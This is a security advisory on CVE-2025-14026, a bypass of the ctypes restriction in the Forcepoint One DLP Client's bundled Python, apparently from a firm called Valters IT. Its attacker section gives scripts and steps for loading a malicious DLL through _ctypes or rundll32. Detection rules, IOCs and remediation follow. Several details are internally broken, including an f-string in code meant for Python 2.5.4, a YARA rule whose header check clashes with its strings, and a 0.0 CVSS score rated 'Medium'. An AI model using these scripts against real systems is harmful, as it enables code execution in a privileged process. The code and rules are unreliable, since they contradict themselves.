CVE-2025-14026

Executive Summary

CVE-2025-14026 identifies a security weakness in Forcepoint One DLP Client, version 23.04.5642 (and possibly newer versions). The client includes a restricted version of Python 2.5.4 that blocks the use of the ctypes library. ctypes is a foreign function interface (FFI) for Python, enabling calls to DLLs/shared libraries, memory allocation, and direct code execution. It was demonstrated that these restrictions could be bypassed, allowing an attacker to load arbitrary DLLs and execute code within the context of the DLP client process. This bypass undermines the security controls intended to prevent unauthorized code execution and could be leveraged for privilege escalation or persistence.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but involves a bundled, restricted Python interpreter. The risk lies in the supply chain of the Forcepoint DLP client itself, as the vendor ships a modified Python environment that can be bypassed.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (based on local access requirement and potential for privilege escalation)

Rationale: The vulnerability requires local access to the system and the ability to execute Python code. The bypass allows an attacker to load arbitrary DLLs, which can lead to code execution with the privileges of the DLP client process (often SYSTEM). The lack of a CVSS vector is due to incomplete NVD data.

Deep Dive & Mechanics

The Forcepoint One DLP Client bundles a custom Python 2.5.4 interpreter. This interpreter is modified to restrict the ctypes module, which is a standard Python library for calling functions in dynamic link libraries (DLLs) and shared libraries. The restriction is likely implemented by removing or modifying the ctypes module files or by using a custom import hook.

The bypass technique involves using alternative methods to achieve the same functionality as ctypes. Common bypasses include:

• Using _ctypes directly: The underlying C extension module _ctypes may still be present even if the Python-level ctypes module is restricted.
• Using subprocess or os.system: To call external tools like rundll32.exe to load DLLs.
• Using ctypes from a different Python installation: If another Python interpreter is present on the system, an attacker can use that interpreter's ctypes to load DLLs.
• Using win32api or pywin32: If these third-party libraries are installed, they can be used to call Windows API functions directly.

The core issue is that the restriction is implemented at the Python level and can be bypassed by an attacker with local access who can write and execute Python scripts.

Vulnerable vs. Patched Code

Vulnerable Code (Forcepoint's restricted Python 2.5.4): The vulnerable code is the modified Python interpreter that attempts to block ctypes. This is not a code snippet but a configuration/restriction mechanism.

# Hypothetical vulnerable restriction (conceptual)
# Forcepoint may have removed ctypes.py or modified sitecustomize.py
# to prevent import of ctypes.

# Example of a failed import in the restricted environment:
try:
    import ctypes
except ImportError:
    print("ctypes is restricted")

Patched Code (Hypothetical): A proper patch would involve removing the bundled Python interpreter entirely or implementing a more robust sandboxing mechanism (e.g., using Windows AppContainer or a kernel-level driver to prevent DLL loading). A simple Python-level restriction is insufficient.

# No patched code available as vendor has not released a fix.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Bypass the ctypes restriction to load a malicious DLL and execute code.

Lab Setup:

1. Install Forcepoint One DLP Client version 23.04.5642 on a Windows 10/11 VM.
2. Prepare a malicious DLL (e.g., payload.dll) that executes a reverse shell or adds a user.
3. Write a Python script that bypasses the restriction.

Exploit Script (using _ctypes directly):

import sys
# Attempt to load the underlying C extension directly
try:
    # In some restricted environments, _ctypes.pyd may still be accessible
    import _ctypes
    # Use _ctypes to load a DLL
    lib = _ctypes.LoadLibrary("C:\\path\\to\\payload.dll")
    # Call a function from the DLL (e.g., DllMain)
    lib.DllMain(0, 1, 0)  # DLL_PROCESS_ATTACH
except Exception as e:
    print(f"Direct _ctypes failed: {e}")
    # Fallback: use subprocess to call rundll32
    import subprocess
    subprocess.call(["rundll32.exe", "C:\\path\\to\\payload.dll,EntryPoint"])

Alternative Exploit (using os.system):

import os
# Use rundll32 to load the DLL
os.system("rundll32.exe C:\\path\\to\\payload.dll,EntryPoint")

Execution:

1. Copy the exploit script and DLL to the target system.
2. Run the script using the Forcepoint-bundled Python interpreter (e.g., C:\Program Files\Forcepoint\One DLP\python.exe exploit.py).
3. The DLL will be loaded, and the attacker's code will execute.

Blue Team (Defender)

Detection:

• Monitor for unusual Python script execution from the Forcepoint DLP directory.
• Monitor for rundll32.exe being called from a Python process.
• Monitor for loading of unsigned or unknown DLLs by the DLP client process.
• Use Sysmon to log process creation and DLL loading events.

Hunting:

• Search for Event ID 7 (DLL loaded) in Sysmon logs where the Image is the Forcepoint Python executable.
• Search for Event ID 1 (Process creation) where the parent process is the Forcepoint Python executable and the child process is rundll32.exe, cmd.exe, or powershell.exe.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • payload.dll (attacker-controlled)
  • exploit.py (attacker-controlled)
• Process Names:
  • python.exe (from Forcepoint DLP directory)
  • rundll32.exe (spawned by Python)
• Network Connections:
  • Outbound connections from the DLP client process to attacker C2 (if reverse shell is used).
• Registry Keys:
  • HKLM\SOFTWARE\Forcepoint\One DLP (may be modified for persistence)
• File Paths:
  • C:\Program Files\Forcepoint\One DLP\python.exe
  • C:\Program Files\Forcepoint\One DLP\Lib\ctypes (if restored)

Detection Engineering

YARA Rule

rule Detect_Forcepoint_DLP_Bypass
{
    meta:
        description = "Detects attempts to bypass ctypes restriction in Forcepoint One DLP Client"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14026"
    strings:
        $s1 = "ctypes" nocase
        $s2 = "_ctypes" nocase
        $s3 = "LoadLibrary" nocase
        $s4 = "rundll32" nocase
        $s5 = "DLL_PROCESS_ATTACH" nocase
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (
            (1 of ($s1, $s2, $s3)) or
            (all of ($s4, $s5))
        )
}

Sigma Rule

title: Forcepoint DLP ctypes Bypass via Rundll32
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rundll32.exe being spawned by the Forcepoint DLP Python interpreter
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14026
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\Forcepoint\One DLP\python.exe'
        Image|endswith: '\rundll32.exe'
    condition: selection
falsepositives:
    - Legitimate use of rundll32 by the DLP client (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-14026 - Forcepoint DLP Python Process Making Outbound Connection";
    flow:to_server,established;
    content:"|0d 0a|User-Agent|3a 20|Python|0d 0a|";
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect systems running the vulnerable DLP client from the network until a patch is applied.
2. Restrict Python Execution: Use Windows AppLocker or Software Restriction Policies to block execution of python.exe from the Forcepoint DLP directory except for authorized users.
3. Monitor for Abuse: Implement the detection rules provided above to identify exploitation attempts.

Long-Term Fix:

1. Vendor Patch: Await an official patch from Forcepoint that either removes the bundled Python interpreter or implements a robust sandbox (e.g., using Windows AppContainer or a kernel driver).
2. Alternative: If patching is not possible, consider replacing the DLP client with an alternative solution that does not bundle a restricted Python interpreter.

Workaround:

• Remove or rename the python.exe and pythonw.exe files in the Forcepoint DLP directory (this may break DLP functionality).
• Use a custom script to monitor and block any attempts to load DLLs from the DLP process.

Valters IT
Securing Digital Frontiers